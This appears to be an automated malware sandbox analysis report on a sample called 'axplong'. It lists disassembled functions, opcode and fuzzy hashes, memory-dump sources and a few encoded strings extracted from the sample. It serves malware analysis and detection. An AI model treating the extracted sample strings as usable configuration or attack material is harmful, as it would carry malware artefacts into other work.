Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9a82c6510e645ba9de32dad82060c8581d1a314837da91e94c0b3b22cf1d02c
Instruction ID: 08374664185fa8b7304a784dc416674192dba515425fcba4aa26c2a10f9b5d9a
Opcode Fuzzy Hash: e9a82c6510e645ba9de32dad82060c8581d1a314837da91e94c0b3b22cf1d02c
Instruction Fuzzy Hash: 713145EB13C125BD7152C0427F2CAFBAB6EE9C2730330843AFA07C5943E2D90A591272

Function 052F0B60 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c53fce7cfb92b8170530e2d2adb36d200803dbee217ce01fd84c59c7b0d943
Instruction ID: a4c546aabc74526eeed25ffbb52d8fc51e61201213c015ecc631cb62925f6b27
Opcode Fuzzy Hash: 10c53fce7cfb92b8170530e2d2adb36d200803dbee217ce01fd84c59c7b0d943
Instruction Fuzzy Hash: EB3132EB13C124BD7152C1427F2CAFBAB6FE9D6734331843AFA07C5A47A2D91A591231

Function 052F0C31 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65194ca09f21698a760c15f1d92d3083566bb8d6aff160e8805f25b19d9aeea4
Instruction ID: 5cc01147d31370550aedb5a7feb61879b4cb9c6aee12fb86cc0128e73f9686ed
Opcode Fuzzy Hash: 65194ca09f21698a760c15f1d92d3083566bb8d6aff160e8805f25b19d9aeea4
Instruction Fuzzy Hash: A7319AEB13C120BDB142C1417F5CAFBABAEE9C2A30330842BFA03C5947E2D90A495271

Function 052F0C15 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9ce92a40284451f000012a53bd4b9f812aacea091536822563e94837555a536
Instruction ID: ae397fc3abd96d6ef29834b4393fa94ddaf6f83c01ebd0188f258b424619935d
Opcode Fuzzy Hash: a9ce92a40284451f000012a53bd4b9f812aacea091536822563e94837555a536
Instruction Fuzzy Hash: 992149EB53C114BDB151C1417F1CAFBA7AEE9C6734330843AFA07D4947E2D91A591271

Function 052F0BD3 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87e70fe3418709d5ab0d5b9db1ed5cd609fc83bd0849fedb7d10187ada0c1a68
Instruction ID: 400aeec766dd12b2a82384515344af584174bdb49a4f9240ecc5ad099ce18e2d
Opcode Fuzzy Hash: 87e70fe3418709d5ab0d5b9db1ed5cd609fc83bd0849fedb7d10187ada0c1a68
Instruction Fuzzy Hash: 1A217CEB13C114BDB141C1517F6CAFBABAEEAC2730330852BFA03C5547D2D91A591272

Function 052F0BC2 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 364467e3304739a4e6fb882fbd886a6517e50ddd00bc2a5c724796163ab32660
Instruction ID: b49a59f065f0e04e70e019077ef7056801b5276fd89bc59680cc0fefdfc50e3c
Opcode Fuzzy Hash: 364467e3304739a4e6fb882fbd886a6517e50ddd00bc2a5c724796163ab32660
Instruction Fuzzy Hash: 402106EB13C124BD7151C5427F6CAFBA7AFE9D6B30330842AFA07D4947A2D91A591231

Function 052F0C62 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11db1bf61485f9cf658faafface850646d93521035b240d37739f61f8151fc53
Instruction ID: 58b747de0220ba90cf81e81c831a1b80080bc9590ebbcf92ddb1488fda83b6d0
Opcode Fuzzy Hash: 11db1bf61485f9cf658faafface850646d93521035b240d37739f61f8151fc53
Instruction Fuzzy Hash: BB219CEB13C114BD7511C5517B6CAFBAB6FEAC6B30331842BFA07C4907E2D90A4A5232

Function 052F0BF7 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c31197dc344d8ca6046bf4a18ba349d7e877c6ef0efc21903a8d1b72e64d105
Instruction ID: a3b623ec92c5e26253751b82650ca76eaec517d8a151a252b3ec2acb4b38f825
Opcode Fuzzy Hash: 0c31197dc344d8ca6046bf4a18ba349d7e877c6ef0efc21903a8d1b72e64d105
Instruction Fuzzy Hash: 962169EB53C114BD7151C1423F5CAFBABAEE9D6730330882AFA03C5947E2E91A591272

Function 052F0BA1 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4ffcc617c2500221f9405771defd97ff7267c3af5ca3f6d6f959da72751756
Instruction ID: 4d773bc6a97bfecba4a0d80e55ef2015937461fd69e2b763f07aedc1eeed6015
Opcode Fuzzy Hash: ff4ffcc617c2500221f9405771defd97ff7267c3af5ca3f6d6f959da72751756
Instruction Fuzzy Hash: 1A2116EB13C124BD7151C1427F6CAFBABAFE9D6730330842AFA07D4947A2D91A591272

Function 052F0CA1 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5134ed55db68d4b78b65265515735d0dc07bd20541fc8698b9161fffb8cfbef
Instruction ID: add8979e14e330cccd0985f0a0f207b2cb3fe200b5543b3f7743e7d03a875050
Opcode Fuzzy Hash: a5134ed55db68d4b78b65265515735d0dc07bd20541fc8698b9161fffb8cfbef
Instruction Fuzzy Hash: 6911EEAB53C114EDA210D5217E6C9FAAB6BEDC2730331842AF503C5807D2A95A491232

Function 052F0C88 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b66cb5b6c9ca5529e9d1a438239abf645086270d5c40d5777347d90ae32504
Instruction ID: 013273fcade3abff6df4bffc4b216ea2d4203655e8a74025e3f0b83e9d4e0daa
Opcode Fuzzy Hash: 81b66cb5b6c9ca5529e9d1a438239abf645086270d5c40d5777347d90ae32504
Instruction Fuzzy Hash: 9111BCAB53C110ED7251D5513B5CAFAAB6FE9D27703308836FA03D490392D40A595232

Function 052F0D6C Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cac2f1e38bc27107829b86bc5fb8af19c0589a9092b191ea2ff6e482784d1
Instruction ID: b60a4eb31b0fa486a9c0fca08107b2e49e2684bca41bcd72c6e662fac4f696ac
Opcode Fuzzy Hash: 5e0cac2f1e38bc27107829b86bc5fb8af19c0589a9092b191ea2ff6e482784d1
Instruction Fuzzy Hash: D911A0BF23C115ADB011D5657B5CEFAAB6EEEC2B30331892AF603C5443D3D56A4A1271

Function 052F0CE0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 471269d726843af832985ff3f0d58a99226276adbb6d8ecbeaf485e95b53414f
Instruction ID: 0e5aeaf2bd129985d5549054ead49baeb522937fc1402e2bc3dbc83aa6f1cf8d
Opcode Fuzzy Hash: 471269d726843af832985ff3f0d58a99226276adbb6d8ecbeaf485e95b53414f
Instruction Fuzzy Hash: 7901A1AB13C114ADB150D6523F6CAFBA76EE9C5B30331852BF607C1947D2E51A591231

Function 052F0CD0 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ecb4607fce0ec014f381b08ab9ade64a34bb4d608bb53cbf1f4e70f88ffba0f
Instruction ID: aa6f762347d3f755778ea68b3ae308a6e2cfdfa27682eb93f706274b1103a4e0
Opcode Fuzzy Hash: 3ecb4607fce0ec014f381b08ab9ade64a34bb4d608bb53cbf1f4e70f88ffba0f
Instruction Fuzzy Hash: 8201A9AB13C114ED6150D5413F6CEFAA72EE9C6B30331892AFA03C4503D3E91A591231

Function 052F0CE8 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adeb7ded3b4fcf5d033a33662cb8aaba9e93228fa6bcfbd190bf57b9ecacd572
Instruction ID: 36a0a471fca2615feb9142353aefb10c1b32b9c37addc39bedee6eb70a6cb3b9
Opcode Fuzzy Hash: adeb7ded3b4fcf5d033a33662cb8aaba9e93228fa6bcfbd190bf57b9ecacd572
Instruction Fuzzy Hash: B901A1AA13C110BCB150DA523F689FBA72EE9D5B30330892BF143C1443D3E51A591231

Function 052F0D17 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: decf6e74ad51aaff3d4cc6c069a1409e9b19adeedb3c1c12e517d63c512b62cb
Instruction ID: 970b3f76975820b313bc9cf49aa84673d3abf31aff6b35fa887380b67d534f84
Opcode Fuzzy Hash: decf6e74ad51aaff3d4cc6c069a1409e9b19adeedb3c1c12e517d63c512b62cb
Instruction Fuzzy Hash: 5501D2BB13D244ADB210D2557F6CAFAAB6EDAC6730331886BF503C2443D3990A5D4231

Function 052F0D49 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1acc2de52745f8ed50564bd84da2de521321c348421d2bfa4d6fcaa9f3326de6
Instruction ID: 0617a98a903f0fb80c0668b8782534830668fc47b04c26792d935d29cb4eb78d
Opcode Fuzzy Hash: 1acc2de52745f8ed50564bd84da2de521321c348421d2bfa4d6fcaa9f3326de6
Instruction Fuzzy Hash: 66F03CAB23D110AD7150D1923F6CAFAA76ED9D6B70331892BF503C4443D6991A4E1231

Non-executed Functions

Function 008FE440 Relevance: 14.8, Strings: 11, Instructions: 1000COMMON

Download Yara Rule

Strings

fed3aa, xrefs: 008FFA9E
WWp=, xrefs: 009004DA
MT==, xrefs: 008FE4A5
GqKudSO2, xrefs: 008FE47F
UD==, xrefs: 008FEA1F, 008FEC66
WGt=, xrefs: 008FF62D, 008FF90A
246122658369, xrefs: 008FF647, 008FF924, 009004F7, 009008AA
111, xrefs: 008FF6B0
MJB+, xrefs: 008FE734
#, xrefs: 00900534
WWt=, xrefs: 0090088D

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$WWt=$fed3aa
API String ID: 0-214772295
Opcode ID: ab07b7920137a2edce7dc1cd8ee4a816b422404429dfca48b43a05cfad288772
Instruction ID: 73990b0a6ca785e32a28f1691cffda80a0005c9753385742fa2e6f091e786a12
Opcode Fuzzy Hash: ab07b7920137a2edce7dc1cd8ee4a816b422404429dfca48b43a05cfad288772
Instruction Fuzzy Hash: BE82D27090424C9FEF14EF68C9897DEBFB6EB46304F508198E905673C2C7759A88CB92

Function 00933068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 009331E3

Strings

1#QNAN, xrefs: 00934381
1#INF, xrefs: 0093439E
1#SNAN, xrefs: 0093437A
1#IND, xrefs: 00934373

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 66ec1d32905d0fa89759f162d76e7abcd686f4de985bca7c4b22a4d120cbd824
Instruction ID: a4bb6f97dc7e309c09c3816befbdeded26742a86fcd08515ea9277f1d459629a
Opcode Fuzzy Hash: 66ec1d32905d0fa89759f162d76e7abcd686f4de985bca7c4b22a4d120cbd824
Instruction Fuzzy Hash: F7C24F71E486288FDB25CF28DD407EAB7B9EB44305F1585EAD84DE7240E778AE858F40

Function 00932BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: ca920a58e772e9ed5099c470a3d9370412a7c08761614d8723250890178eaced
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: A8F12E71E012199FDF14CFA9C8806AEB7B5FF88314F158269E919AB385D731AE41CF90

Function 0090CB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0090CE82,?,?,?,?,0090CEB7,?,?,?,?,?,?,0090C42D,?,00000001), ref: 0090CB33

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 2207cfa94eb043bc4ddb6c40cde70d4d86c05e92eba35ce44d28687d345e3ddb
Instruction ID: a2fc572d147c5d0f22d958022f5d394709563ec6edf42978261690fc22f0ef21
Opcode Fuzzy Hash: 2207cfa94eb043bc4ddb6c40cde70d4d86c05e92eba35ce44d28687d345e3ddb
Instruction Fuzzy Hash: A4D0223262B1389BCA122B91AC088ADBB1CAF41B513000212ED04231608AA05C01BBD0

Function 00927D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00927EFF

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 1d2d49e91d0f7f96c4cf87367b80f46ab2bf4c92930c3fc28d76c943089fc8b2
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 9E51BA7120C63857CB389AF8B9967BFE79E9F52300F14085DE442F76EECA159D488362

Function 008F4CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 580813ec231af8d693831234a62ad496673b1066266c8758196e884e8bbe147a
Instruction ID: 022e3a69648d08134b33eedc8d68a8b37766b74a8c7bc351dd25c856dd4c91f6
Opcode Fuzzy Hash: 580813ec231af8d693831234a62ad496673b1066266c8758196e884e8bbe147a
Instruction Fuzzy Hash: 3E2260B3F516144BDB0CCB9DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9159644

Function 00936F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfb1b7379a8771ac134b15a428f8e45bb7ddcee04db99bf3c1dc7321731adac3
Instruction ID: c76893f7dd342922f288b08d4a4ba9487e0f7e6dd019f308b0136cf3138ef2ce
Opcode Fuzzy Hash: dfb1b7379a8771ac134b15a428f8e45bb7ddcee04db99bf3c1dc7321731adac3
Instruction Fuzzy Hash: 91B15CB2214609DFD729CF68C486B65BBE1FF45364F258658E899CF2A1C335E982CF40

Function 008F4AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
